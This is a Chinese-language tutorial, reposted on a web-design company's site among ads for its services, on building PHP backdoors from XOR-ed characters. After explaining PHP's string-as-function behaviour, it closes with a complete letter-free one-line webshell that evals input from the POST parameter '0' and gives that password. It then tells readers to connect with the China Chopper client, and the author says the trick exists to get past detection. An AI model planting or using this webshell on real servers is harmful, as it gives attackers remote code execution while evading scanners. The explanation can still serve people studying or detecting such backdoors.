看這個：

專注于為中小企業提供網站設計、成都做網站服務,電腦端+手機端+微信端的三站合一,更高效的管理,為中小企業鄂溫克免費做網站提供優質的服務。我們立足成都，凝聚了一批互聯網行業人才，有力地推動了上千家企業的穩健成長，幫助中小企業通過網站建設實現規模擴充和轉變。

<?php

echo"A"^"}";

?>

  運行這段代碼，那么輸出的結果是字符"<",之所以會得到這樣的結果，是因為代碼中對字符"A"和字符"}"進行了異或操作。在PHP中，兩個變量進行異或時，會將字符串轉換成二進制再進行異或，異或完，又將結果從二進制轉換成了字符串。異或操作有時也被用來交換兩個變量的值。

  我們都知道，PHP是弱類型的語言，也就是說在PHP中我們可以不預先聲明變量的類型，而直接聲明一個變量并進行初始化或賦值操作。正是由于PHP弱類型的這個特點，我們對PHP的變類型進行隱式的轉換，并利用這個特點進行一些非常規的操作。如將整型轉換成字符串型，將布爾型當作整型，或者將字符串當作函數來處理，下面我們來看一段代碼：

<?php

$_++;

$__="<"^"}";

$__("stuff");

?>

看到這段代碼，大家或許會覺得很疑惑，下面我簡單的來解釋一下：

 (1)$_++;這行代碼的意思是對變量名為"_"的變量進行自增操作，在PHP中未定義的變量默認值為null,null==false==0,我們可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。

 (2)$__="<"^"}";對字符"<"和"}"進行異或運算，得到結果A賦給變量名為"__"(兩個下劃線)的變量

 (3)$__("stuff");通過上面的賦值操作,變量$__的值為A，所以這行可以看作是A("stuff"),在PHP中,這行代碼表示調用函數A,但是由于程序中并未定義函數A，所以這行代碼會拋出一個致命錯誤使程序停止運行。這行代碼沒什么實際的意義，但是它能簡單體現出在PHP中，我們可以將字符串當作函數來處理。

 文章進行到這里，大家如果再看到類似的PHP后門應該不會那么迷惑了，你可以通過一句句的分析后門代碼來理解后門想實現的功能。如果你依然迷惑，那說明本菜鳥的文章寫的不好，先說聲抱歉了，但是還是希望你別罵我。

 上面的那段示例代碼最后會出錯，導致程序停止運行，當然寫出一個出錯的程序并不是我們的目的，使用這種后門的主要目的是創建一些可以繞過檢測的并且對我們有用的字符串，如_POST", "system", "call_user_func_array"，或者是任何我們需要的東西。

 下面是個非常簡單的非數字字母的PHP后門：

@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
@eval(${$__}[!$_]);//mima:0

  上菜刀把。

另外有需要云服務器可以了解下創新互聯cdcxhl.cn，海內外云服務器15元起步，三天無理由+7*72小時售后在線，公司持有idc許可證，提供“云服務器、裸金屬服務器、高防服務器、香港服務器、美國服務器、虛擬主機、免備案服務器”等云主機租用服務以及企業上云的綜合解決方案，具有“安全穩定、簡單易用、服務可用性高、性價比高”等特點與優勢，專為企業上云打造定制，能夠滿足用戶豐富、多元化的應用場景需求。

新聞名稱：php后門－－異或-創新互聯
文章地址：http://vcdvsql.cn/article36/dihpsg.html

成都網站建設公司_創新互聯，為您提供搜索引擎優化、關鍵詞優化、品牌網站設計、定制網站、面包屑導航、用戶體驗

廣告

聲明：本網站發布的內容（圖片、視頻和文字）以用戶投稿、用戶轉載內容為主，如果涉及侵權請盡快告知，我們將會在第一時間刪除。文章觀點不代表本網站立場，如需處理請聯系客服。電話：028-86922220；郵箱：631063699@qq.com。內容未經允許不得轉載，或轉載時需注明來源： 創新互聯